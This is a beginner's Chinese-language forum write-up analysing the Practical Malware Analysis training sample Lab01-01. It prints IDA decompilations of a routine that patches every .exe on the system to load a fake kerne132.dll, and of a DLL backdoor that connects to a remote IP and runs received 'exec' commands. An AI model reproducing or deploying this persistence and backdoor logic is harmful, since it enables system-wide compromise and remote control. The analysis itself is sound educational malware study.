-
-
[原创]新手的恶意代码分析记录(一)_Lab01-01
-
2021-8-17 22:02 6557
-
一、基本信息
样本基本信息:
样本名称:Lab01-01.dll
样本大小:163840 bytes
MD5:290934C61DE9176AD682FFDD65F0A669
样本名称:Lab01-01.exe
样本大小:16384 bytes
MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB
使用cff_Explorer 查看样本基本信息
使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。
查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll。
KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等
WS2_32.dll:与网络连接相关
MSVCRT.dll:C语言运行库文件
一些相关的函数
1 2 3 4 5 6 7 8 9 10 11 | Kernel32.dll Sleep:暂停当前线程的执行 CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。 CreateMutexA:创建或打开命名的或未命名的互斥对象。 OpenMutexA:打开现有的命名互斥对象。 CloseHandle:关闭打开的对象句柄。 |
查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll。
可以看到是用到了大量的与文件操作的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | Kernel32.dll CloseHandle:关闭打开的对象句柄。 UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。 IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。 MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。 CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象 CreateFileA:创建或打开文件或 i / o 设备。 FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、 FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。 FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。 FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。 CopyFileA:将现有文件复制到新文件。 |
二、简单的动态分析
使用火绒剑监控该程序,发现并没有什么异常
三、静态分析
首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。
Lab01-01.exe 文件详细分析
接下来使用IDA查看Lab01-01.exe这个文件
查看main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | main函数 int __cdecl main( int argc, const char * * argv, const char * * envp) { HANDLE v3; / / eax _DWORD * v4; / / esi HANDLE v5; / / eax HANDLE v6; / / eax const char * * v7; / / ebp _DWORD * v8; / / eax const char * v9; / / esi _DWORD * v10; / / ebx int v11; / / ebp _DWORD * v12; / / eax unsigned int v13; / / edi int v14; / / eax int v15; / / ecx int v16; / / edx int v17; / / esi int v18; / / edi char * v19; / / ebx _DWORD * v20; / / eax const char * * v21; / / ecx unsigned int v22; / / edx _DWORD * v23; / / ebp const char * v24; / / edx unsigned int v25; / / kr08_4 char * v26; / / eax char * v27; / / ebx unsigned int v28; / / kr10_4 bool v29; / / cf _WORD * v31; / / [esp + 10h ] [ebp - 44h ] unsigned __int16 * v32; / / [esp + 14h ] [ebp - 40h ] _DWORD * v33; / / [esp + 18h ] [ebp - 3Ch ] _DWORD * v34; / / [esp + 1Ch ] [ebp - 38h ] int v35; / / [esp + 20h ] [ebp - 34h ] _DWORD * v36; / / [esp + 24h ] [ebp - 30h ] int v37; / / [esp + 28h ] [ebp - 2Ch ] int i; / / [esp + 2Ch ] [ebp - 28h ] _DWORD * v39; / / [esp + 30h ] [ebp - 24h ] unsigned __int16 * v40; / / [esp + 34h ] [ebp - 20h ] char * v41; / / [esp + 38h ] [ebp - 1Ch ] int v42; / / [esp + 3Ch ] [ebp - 18h ] int v43; / / [esp + 44h ] [ebp - 10h ] int v44; / / [esp + 48h ] [ebp - Ch] HANDLE hObject; / / [esp + 4Ch ] [ebp - 8h ] HANDLE v46; / / [esp + 50h ] [ebp - 4h ] int argca; / / [esp + 58h ] [ebp + 4h ] const char * * argva; / / [esp + 5Ch ] [ebp + 8h ] const char * * argvb; / / [esp + 5Ch ] [ebp + 8h ] if ( argc = = 2 && !strcmp(argv[ 1 ], aWarningThisWil) ) / / 参数 2 :WARNING_THIS_WILL_DESTROY_YOUR_MACHINE { hObject = CreateFileA(FileName, 0x80000000 , 1u , 0 , 3u , 0 , 0 ); / / 创建或打开的文件:C:\Windows\System32\Kernel32.dll v3 = CreateFileMappingA(hObject, 0 , 2u , 0 , 0 , 0 ); / / 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll v4 = MapViewOfFile(v3, 4u , 0 , 0 , 0 ); / / 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll argca = ( int )v4; v5 = CreateFileA(ExistingFileName, 0x10000000u , 1u , 0 , 3u , 0 , 0 ); / / 创建或打开的文件:Lab01 - 01.dll v46 = v5; if ( v5 = = (HANDLE) - 1 ) exit( 0 ); v6 = CreateFileMappingA(v5, 0 , 4u , 0 , 0 , 0 ); / / 创建或打开指定文件的命名或未命名文件映射对象 if ( v6 = = (HANDLE) - 1 ) exit( 0 ); v7 = (const char * * )MapViewOfFile(v6, 0xF001Fu , 0 , 0 , 0 ); / / 将文件映射的视图映射到调用进程的地址空间 argva = v7; if ( !v7 ) exit( 0 ); v41 = (char * )v4 + v4[ 15 ]; v8 = (_DWORD * )sub_401040( * ((_DWORD * )v41 + 30 ), v41, v4); v9 = &v7[ 15 ][(_DWORD)v7]; v10 = v8; v36 = v8; v11 = sub_401040( * ((_DWORD * )v9 + 30 ), v9, v7); v34 = (_DWORD * )sub_401040(v10[ 7 ], v41, argca); v40 = (unsigned __int16 * )sub_401040(v10[ 9 ], v41, argca); v12 = (_DWORD * )sub_401040(v10[ 8 ], v41, argca); v13 = * ((_DWORD * )v9 + 31 ); v39 = v12; v14 = sub_401070( * ((_DWORD * )v9 + 30 ), v9, argva); qmemcpy((void * )v11, v10, v13); v42 = v14; v15 = v10[ 5 ]; * (_DWORD * )(v11 + 20 ) = v15; * (_DWORD * )(v11 + 24 ) = v10[ 6 ]; * (_DWORD * )(v11 + 12 ) = v11 + 40 + v14; v35 = v11 + 56 ; strcpy((char * )(v11 + 40 ), "kerne132.dll" ); v16 = * (_DWORD * )(v11 + 20 ); v17 = v11 + 56 + 4 * v16; v18 = v11 + 56 + 8 * v16; v44 = v17; v43 = v18; v19 = (char * )( 16 * v15 + v11 + 56 ); * (_DWORD * )(v11 + 28 ) = v11 + 56 + v14; * (_DWORD * )(v11 + 36 ) = v17 + v14; * (_DWORD * )(v11 + 32 ) = v18 + v14; v20 = v36; v21 = 0 ; v22 = 0 ; argvb = 0 ; for ( i = 0 ; v22 < v20[ 5 ]; + + v34 ) { if ( * v34 ) { v37 = 0 ; if ( v20[ 6 ] ) { v23 = (_DWORD * )(v35 + 4 * (_DWORD)v21); v31 = (_WORD * )(v17 + 2 * (_DWORD)v21); v33 = v39; v32 = v40; do { if ( * v32 = = v22 ) { v24 = (const char * )sub_401040( * v33, v41, argca); strcpy(v19, v24); * v31 = (_WORD)argvb; * (_DWORD * )((char * )v23 + v18 - v35) = &v19[v42]; v25 = strlen(v24) + 1 ; v26 = &v19[v25]; v27 = &v19[v25 + 9 ]; * v23 = &v26[v42]; * (_DWORD * )v26 = dword_403070; * ((_DWORD * )v26 + 1 ) = dword_403074; v26[ 8 ] = byte_403078; strcpy(v27, v24); v28 = strlen(v24) + 1 ; v20 = v36; argvb = (const char * * )((char * )argvb + 1 ); v22 = i; v19 = &v27[v28]; + + v23; + + v31; } + + v32; v29 = (unsigned int ) + + v37 < v20[ 6 ]; + + v33; } while ( v29 ); v21 = argvb; v18 = v43; v17 = v44; } } i = + + v22; } CloseHandle(hObject); / / 关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll CloseHandle(v46); / / 关闭打开的对象句柄 Lab01 - 01.dll if ( !CopyFileA(ExistingFileName, NewFileName, 0 ) ) / / 将现有文件复制到新文件 Lab01 - 01.dll - >> C:\windows\system32\kerne132.dll exit( 0 ); sub_4011E0(aC, 0 ); / / 递归函数 sub_4011E0 } return 0 ; } |
通过对主函数进行分析,得出如下结论:
1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:
1 | Lab01 - 01.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE |
2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。
接下来查看sub_4011E0函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | int __cdecl sub_4011E0(LPCSTR lpFileName, int a2) { int result; / / eax const char * v3; / / ebp HANDLE v4; / / esi char * v5; / / edx unsigned int v6; / / kr1C_4 char * v7; / / ebp HANDLE hFindFile; / / [esp + 10h ] [ebp - 144h ] struct _WIN32_FIND_DATAA FindFileData; / / [esp + 14h ] [ebp - 140h ] BYREF result = a2; if ( a2 < = 7 ) { v3 = lpFileName; v4 = FindFirstFileA(lpFileName, &FindFileData); / / 在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录 : lpFileName hFindFile = v4; while ( v4 ! = (HANDLE) - 1 ) { if ( (FindFileData.dwFileAttributes & 0x10 ) = = 0 / / 文件的文件属性. 0x10 FILE_ATTRIBUTE_DIRECTORY 标识目录 - >> 判断是否为文件目录 不是目录的话 执行下面的流程 || !strcmp(FindFileData.cFileName, asc_403040) / / 文件的名称 . || !strcmp(FindFileData.cFileName, asc_40303C) ) / / 文件的名称 .. { v6 = strlen(FindFileData.cFileName) + 1 ; v7 = (char * )malloc(strlen(v3) + 1 + strlen(FindFileData.cFileName)); strcpy(v7, lpFileName); v7[strlen(lpFileName) - 1 ] = 0 ; strcat(v7, FindFileData.cFileName); if ( !stricmp((const char * )&FindFileData.dwReserved0 + v6 + 3 , aExe) ) / / 判断文件后缀是否是.exe 如果是exe文件 执行sub_4010A0 sub_4010A0(v7); v3 = lpFileName; } else { v5 = (char * )malloc(strlen(v3) + 2 * strlen(FindFileData.cFileName) + 6 ); strcpy(v5, v3); v5[strlen(v3) - 1 ] = 0 ; strcat(v5, FindFileData.cFileName); strcat(v5, asc_403038); sub_4011E0(v5, a2 + 1 ); / / 递归的查找文件 } v4 = hFindFile; result = FindNextFileA(hFindFile, &FindFileData); / / 从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。 if ( !result ) return result; } result = FindClose((HANDLE) 0xFFFFFFFF ); } return result; } |
通过对sub_4011E0函数进行分析,得出如下结论:
1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。
sub_4010A0函数
接下来查看sub_4010A0函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | char * __cdecl sub_4010A0(LPCSTR lpFileName) { char * result; / / eax const void * v2; / / esi int * v3; / / ebp int * v4; / / edi int * i; / / edi int * v6; / / ebx _DWORD * v7; / / ebp const void * v8; / / [esp + 10h ] [ebp - Ch] HANDLE hObject; / / [esp + 14h ] [ebp - 8h ] HANDLE v10; / / [esp + 18h ] [ebp - 4h ] v10 = CreateFileA(lpFileName, 0x10000000u , 1u , 0 , 3u , 0 , 0 ); / / 创建或打开文件或 i / o 设备。 打开查找到的.exe可执行文件 hObject = CreateFileMappingA(v10, 0 , 4u , 0 , 0 , 0 ); / / 创建或打开指定文件的命名或未命名文件映射对象 result = (char * )MapViewOfFile(hObject, 0xF001Fu , 0 , 0 , 0 ); / / 将文件映射的视图映射到调用进程的地址空间。 v2 = result; v8 = result; if ( result ) { v3 = ( int * )&result[ * ((_DWORD * )result + 15 )]; result = (char * )IsBadReadPtr(v3, 4u ); / / 验证调用进程是否具有对指定内存范围的读访问权限。 if ( !result && * v3 = = 0x4550 ) / / 0x4550 PE头标识 { v4 = ( int * )sub_401040(v3[ 32 ], ( int )v3, ( int )v2); result = (char * )IsBadReadPtr(v4, 20u ); if ( !result ) { for ( i = v4 + 3 ; * (i - 2 ) || * i; i + = 5 ) { v6 = ( int * )sub_401040( * i, ( int )v3, ( int )v2); result = (char * )IsBadReadPtr(v6, 0x14u ); if ( result ) return result; if ( !stricmp((const char * )v6, String2) ) / / 判断是否为 kernel32.dll 字符串 { qmemcpy(v6, aKerne132Dll, strlen((const char * )v6) + 1 ); / / 字符串拷贝 kernel32.dll - >> kerne132.dll v2 = v8; } } v7 = v3 + 52 ; * v7 = 0 ; v7[ 1 ] = 0 ; UnmapViewOfFile(v2); / / 从调用进程的地址空间取消映射文件的映射视图。 CloseHandle(hObject); / / 关闭打开的对象句柄。 result = (char * )CloseHandle(v10); / / 关闭打开的对象句柄 } } } return result; } |
通过对sub_4010A0函数进行分析,得出如下结论:
1、该函数打开找到的后缀为.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll。
初步的结论
通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:
- 该程序通过新建kerne132.dll文件并将可执行文件的kernel32.dll字符串修改为kerne132.dll字符串,从而修改程序,故猜想后面该可执行文件加载的并不会是kernel32.dll,而会是kerne132.dll文件。
由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要。
遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?
Lab01-01.dll 文件详细分析
接下来使用IDA查看Lab01-01.dll这个文件
查看DllMain函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { SOCKET v3; / / esi HANDLE hObject; / / [esp + 10h ] [ebp - 11F8h ] struct sockaddr name; / / [esp + 14h ] [ebp - 11F4h ] BYREF struct _PROCESS_INFORMATION ProcessInformation; / / [esp + 24h ] [ebp - 11E4h ] BYREF struct _STARTUPINFOA StartupInfo; / / [esp + 34h ] [ebp - 11D4h ] BYREF struct WSAData WSAData; / / [esp + 78h ] [ebp - 1190h ] BYREF char buf; / / [esp + 208h ] [ebp - 1000h ] BYREF char v11[ 4092 ]; / / [esp + 209h ] [ebp - FFFh] BYREF __int16 v12; / / [esp + 1205h ] [ebp - 3h ] char v13; / / [esp + 1207h ] [ebp - 1h ] if ( fdwReason = = 1 ) { buf = byte_10026054; memset(v11, 0 , sizeof(v11)); v12 = 0 ; v13 = 0 ; if ( !OpenMutexA( 0x1F0001u , 0 , Name) ) / / 打开现有的命名互斥对象 - >> 判断互斥体是否存在 SADFHUHF { CreateMutexA( 0 , 0 , Name); / / 创建或打开命名的或未命名的互斥对象。 - >> 如果不存在的话 ,创建互斥体 if ( !WSAStartup( 0x202u , &WSAData) ) / / 应用程序或DLL调用的第一个Windows Sockets函数。 { v3 = socket( 2 , 1 , 6 ); if ( v3 ! = - 1 ) { name.sa_family = 2 ; * (_DWORD * )&name.sa_data[ 2 ] = inet_addr(cp); / / 127.26 . 152.13 * (_WORD * )name.sa_data = htons( 0x50u ); / / 端口 80 if ( connect(v3, &name, 16 ) ! = - 1 ) { while ( 1 ) { while ( 1 ) { do { if ( send(v3, ::buf, strlen(::buf), 0 ) = = - 1 || shutdown(v3, 1 ) = = - 1 ) / / send() 系统调用函数,用来发送消息到一个套接字中 / / shutdown()函数用于任何类型的套接口禁止接收、禁止发送或禁止收发 goto LABEL_15; } while ( recv(v3, &buf, 4096 , 0 ) < = 0 ); if ( strncmp(Str1, &buf, 5u ) ) / / sleep 判断接受到的命令是否为 Sleep 如果不是 跳出 / / 是的话 执行Sleep函数 break ; LABEL_10: Sleep( 0x60000u ); } if ( strncmp(aExec, &buf, 4u ) ) / / exec 判断命令是否是 exec 如果不是 判断是否为 q { if ( buf = = 'q' ) / / q 判断命令是否是 q 如果是 关闭打开的对象句柄 { CloseHandle(hObject); / / 关闭打开的对象句柄 break ; } goto LABEL_10; } memset(&StartupInfo, 0 , sizeof(StartupInfo)); / / 命令如果是 exec 执行接下来操作 StartupInfo.cb = 68 ; CreateProcessA( 0 , &v11[ 4 ], 0 , 0 , 1 , 0x8000000u , 0 , 0 , &StartupInfo, &ProcessInformation); / / 创建新的进程 } } LABEL_15: closesocket(v3); } WSACleanup(); } } } return 1 ; } |
对这个DllMain主函数进行分析,得出如下结论:
- 首先,该程序会判断互斥体 SADFHUHF 是否存在,如果不存在的话,创建该互斥体,确保同一时间只有这个恶意代码的实例在运行。
- 之后,在不断的接收数据和发送数据,可以猜想到,这个程序的主要功能就是从一个远程机器接收命令,然后执行不同的操作。
- 如果接收到的字符串是Sleep ,就调用Sleep函数。
- 如果接受到的命令前四个字节是exec,就根据不同的命令创建新的进程。
这个Dll程序大概就分析到这里,总结一下:
通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。
四、动静态调试结合分析
通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。
主要解决刚才遗留下来的一个问题:
在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?
在0x401813处下断点,查看火绒剑监控到的相关信息
可以看到有对exe可执行程序修改的痕迹。
使用CFF explorer查看修改后的exe文件信息
可以看到,可执行文件在加载DLL时,加载的不再是kernel32.dll,而将会是kerne132.dll ,而这个dll在加载的时候就会执行后门程序。
接下来看一下kerne132.dll 程序
kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。
五、样本相关特征
字符串:
WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
kerne132.dll
SADFHUHF
六、总结与防护建议
该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。